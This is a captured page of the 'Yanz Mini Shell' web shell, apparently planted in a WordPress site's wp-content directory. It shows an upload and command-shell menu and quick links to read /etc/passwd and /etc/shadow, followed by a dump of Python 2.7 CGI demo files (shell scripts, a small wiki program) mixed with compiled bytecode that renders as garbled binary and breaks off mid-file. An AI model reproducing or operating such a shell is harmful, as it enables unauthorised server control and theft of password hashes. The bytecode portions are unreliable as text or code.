Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
veronikagstoette
public_html
wp-content
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
cgi3.pyo 0000644 00000000506 15246412025 0006124 0 ustar 00 � Afc @ sF d Z d d l Z e j � d d l m Z e d k rB e � n d S( s CGI test 3 (persistent data).i����N( t maint __main__( t __doc__t cgitbt enablet wikiR t __name__( ( ( s% /usr/lib64/python2.7/Demo/cgi/cgi3.pyt <module> s cgi3.py 0000755 00000000227 15246412025 0005750 0 ustar 00 #! /usr/bin/python2.7 """CGI test 3 (persistent data).""" import cgitb; cgitb.enable() from wiki import main if __name__ == "__main__": main() cgi2.pyc 0000644 00000001331 15246412025 0006104 0 ustar 00 � Afc @ sK d Z d d l Z e j � d d l Z d � Z e d k rG e � n d S( s% CGI test 2 - basic use of cgi module.i����Nc C sp t j � } d GHH| s d GHnL d GHxD | j � D]6 } | | j } d Gt j | � Gd Gt j | � GHq2 Wd S( Ns Content-type: text/htmls <h1>No Form Keys</h1>s <h1>Form Keys</h1>s <p>t :( t cgit FieldStoraget keyst valuet escape( t formt keyR ( ( s% /usr/lib64/python2.7/Demo/cgi/cgi2.pyt main s t __main__( t __doc__t cgitbt enableR R t __name__( ( ( s% /usr/lib64/python2.7/Demo/cgi/cgi2.pyt <module> s README 0000644 00000000665 15246412025 0005434 0 ustar 00 CGI Examples ------------ Here are some example CGI programs. For a larger example, see ../../Tools/faqwiz/. cgi0.sh -- A shell script to test your server is configured for CGI cgi1.py -- A Python script to test your server is configured for CGI cgi2.py -- A Python script showing how to parse a form cgi3.py -- A Python script for driving an arbitrary CGI application wiki.py -- Sample CGI application: a minimal Wiki implementation cgi1.pyo 0000644 00000000427 15246412025 0006124 0 ustar 00 � Afc @ s d Z d GHHd GHd GHd S( s CGI test 1 - check server setup.s Content-type: text/htmls <h1>Hello world</h1>s <p>This is cgi1.pyN( t __doc__( ( ( s% /usr/lib64/python2.7/Demo/cgi/cgi1.pyt <module> s cgi2.pyo 0000644 00000001331 15246412025 0006120 0 ustar 00 � Afc @ sK d Z d d l Z e j � d d l Z d � Z e d k rG e � n d S( s% CGI test 2 - basic use of cgi module.i����Nc C sp t j � } d GHH| s d GHnL d GHxD | j � D]6 } | | j } d Gt j | � Gd Gt j | � GHq2 Wd S( Ns Content-type: text/htmls <h1>No Form Keys</h1>s <h1>Form Keys</h1>s <p>t :( t cgit FieldStoraget keyst valuet escape( t formt keyR ( ( s% /usr/lib64/python2.7/Demo/cgi/cgi2.pyt main s t __main__( t __doc__t cgitbt enableR R t __name__( ( ( s% /usr/lib64/python2.7/Demo/cgi/cgi2.pyt <module> s cgi0.sh 0000755 00000000232 15246412025 0005723 0 ustar 00 #! /bin/sh # If you can't get this to work, your web server isn't set up right echo Content-type: text/plain echo echo Hello world echo This is cgi0.sh wiki.py 0000644 00000007705 15246412025 0006073 0 ustar 00 """Wiki main program. Imported and run by cgi3.py.""" import os, re, cgi, sys, tempfile escape = cgi.escape def main(): form = cgi.FieldStorage() print "Content-type: text/html" print cmd = form.getvalue("cmd", "view") page = form.getvalue("page", "FrontPage") wiki = WikiPage(page) method = getattr(wiki, 'cmd_' + cmd, None) or wiki.cmd_view method(form) class WikiPage: homedir = tempfile.gettempdir() scripturl = os.path.basename(sys.argv[0]) def __init__(self, name): if not self.iswikiword(name): raise ValueError, "page name is not a wiki word" self.name = name self.load() def cmd_view(self, form): print "<h1>", escape(self.splitwikiword(self.name)), "</h1>" print "<p>" for line in self.data.splitlines(): line = line.rstrip() if not line: print "<p>" else: print self.formatline(line) print "<hr>" print "<p>", self.mklink("edit", self.name, "Edit this page") + ";" print self.mklink("view", "FrontPage", "go to front page") + "." def formatline(self, line): words = [] for word in re.split('(\W+)', line): if self.iswikiword(word): if os.path.isfile(self.mkfile(word)): word = self.mklink("view", word, word) else: word = self.mklink("new", word, word + "*") else: word = escape(word) words.append(word) return "".join(words) def cmd_edit(self, form, label="Change"): print "<h1>", label, self.name, "</h1>" print '<form method="POST" action="%s">' % self.scripturl s = '<textarea cols="70" rows="20" name="text">%s</textarea>' print s % self.data print '<input type="hidden" name="cmd" value="create">' print '<input type="hidden" name="page" value="%s">' % self.name print '<br>' print '<input type="submit" value="%s Page">' % label print "</form>" def cmd_create(self, form): self.data = form.getvalue("text", "").strip() error = self.store() if error: print "<h1>I'm sorry. That didn't work</h1>" print "<p>An error occurred while attempting to write the file:" print "<p>", escape(error) else: # Use a redirect directive, to avoid "reload page" problems print "<head>" s = '<meta http-equiv="refresh" content="1; URL=%s">' print s % (self.scripturl + "?cmd=view&page=" + self.name) print "<head>" print "<h1>OK</h1>" print "<p>If nothing happens, please click here:", print self.mklink("view", self.name, self.name) def cmd_new(self, form): self.cmd_edit(form, label="Create") def iswikiword(self, word): return re.match("[A-Z][a-z]+([A-Z][a-z]*)+", word) def splitwikiword(self, word): chars = [] for c in word: if chars and c.isupper(): chars.append(' ') chars.append(c) return "".join(chars) def mkfile(self, name=None): if name is None: name = self.name return os.path.join(self.homedir, name + ".txt") def mklink(self, cmd, page, text): link = self.scripturl + "?cmd=" + cmd + "&page=" + page return '<a href="%s">%s</a>' % (link, text) def load(self): try: f = open(self.mkfile()) data = f.read().strip() f.close() except IOError: data = "" self.data = data def store(self): data = self.data try: f = open(self.mkfile(), "w") f.write(data) if data and not data.endswith('\n'): f.write('\n') f.close() return "" except IOError, err: return "IOError: %s" % str(err) cgi3.pyc 0000644 00000000506 15246412025 0006110 0 ustar 00 � Afc @ sF d Z d d l Z e j � d d l m Z e d k rB e � n d S( s CGI test 3 (persistent data).i����N( t maint __main__( t __doc__t cgitbt enablet wikiR t __name__( ( ( s% /usr/lib64/python2.7/Demo/cgi/cgi3.pyt <module> s wiki.pyc 0000644 00000012401 15246412025 0006223 0 ustar 00 � ��^c @ sk d Z d d l Z d d l Z d d l Z d d l Z d d l Z e j Z d � Z d d d � � YZ d S( s0 Wiki main program. Imported and run by cgi3.py.i����Nc C so t j � } d GHH| j d d � } | j d d � } t | � } t | d | d � p^ | j } | | � d S( Ns Content-type: text/htmlt cmdt viewt paget FrontPaget cmd_( t cgit FieldStoraget getvaluet WikiPaget getattrt Nonet cmd_view( t formR R t wikit method( ( s% /usr/lib64/python2.7/Demo/cgi/wiki.pyt main s R c B s� e Z e j � Z e j j e j d � Z d � Z d � Z d � Z d d � Z d � Z d � Z d � Z d � Z d d � Z d � Z d � Z d � Z RS( i c C s2 | j | � s t d � n | | _ | j � d S( Ns page name is not a wiki word( t iswikiwordt ValueErrort namet load( t selfR ( ( s% /usr/lib64/python2.7/Demo/cgi/wiki.pyt __init__ s c C s� d Gt | j | j � � Gd GHd GHx? | j j � D]. } | j � } | sT d GHq4 | j | � GHq4 Wd GHd G| j d | j d � d GH| j d d d � d GHd S( Ns <h1>s </h1>s <p>s <hr>t edits Edit this paget ;R R s go to front paget .( t escapet splitwikiwordR t datat splitlinest rstript formatlinet mklink( R R t line( ( s% /usr/lib64/python2.7/Demo/cgi/wiki.pyR s c C s� g } x� t j d | � D]} } | j | � r} t j j | j | � � ra | j d | | � } q� | j d | | d � } n t | � } | j | � q Wd j | � S( Ns (\W+)R t newt *t ( t ret splitR t ost patht isfilet mkfileR R t appendt join( R R t wordst word( ( s% /usr/lib64/python2.7/Demo/cgi/wiki.pyR ( s t Changec C sZ d G| G| j Gd GHd | j GHd } | | j GHd GHd | j GHd GHd | GHd GHd S( Ns <h1>s </h1>s <form method="POST" action="%s">s7 <textarea cols="70" rows="20" name="text">%s</textarea>s/ <input type="hidden" name="cmd" value="create">s, <input type="hidden" name="page" value="%s">s <br>s% <input type="submit" value="%s Page">s </form>( R t scripturlR ( R R t labelt s( ( s% /usr/lib64/python2.7/Demo/cgi/wiki.pyt cmd_edit5 s c C s� | j d d � j � | _ | j � } | rI d GHd GHd Gt | � GHnJ d GHd } | | j d | j GHd GHd GHd G| j d | j | j � GHd S( Nt textR# s% <h1>I'm sorry. That didn't work</h1>s8 <p>An error occurred while attempting to write the file:s <p>s <head>s/ <meta http-equiv="refresh" content="1; URL=%s">s ?cmd=view&page=s <h1>OK</h1>s) <p>If nothing happens, please click here:R ( R t stripR t storeR R/ R R ( R R t errorR1 ( ( s% /usr/lib64/python2.7/Demo/cgi/wiki.pyt cmd_create@ s c C s | j | d d �d S( NR0 t Create( R2 ( R R ( ( s% /usr/lib64/python2.7/Demo/cgi/wiki.pyt cmd_newQ s c C s t j d | � S( Ns [A-Z][a-z]+([A-Z][a-z]*)+( R$ t match( R R- ( ( s% /usr/lib64/python2.7/Demo/cgi/wiki.pyR T s c C sS g } x= | D]5 } | r5 | j � r5 | j d � n | j | � q Wd j | � S( Nt R# ( t isupperR* R+ ( R R- t charst c( ( s% /usr/lib64/python2.7/Demo/cgi/wiki.pyR W s c C s2 | d k r | j } n t j j | j | d � S( Ns .txt( R R R&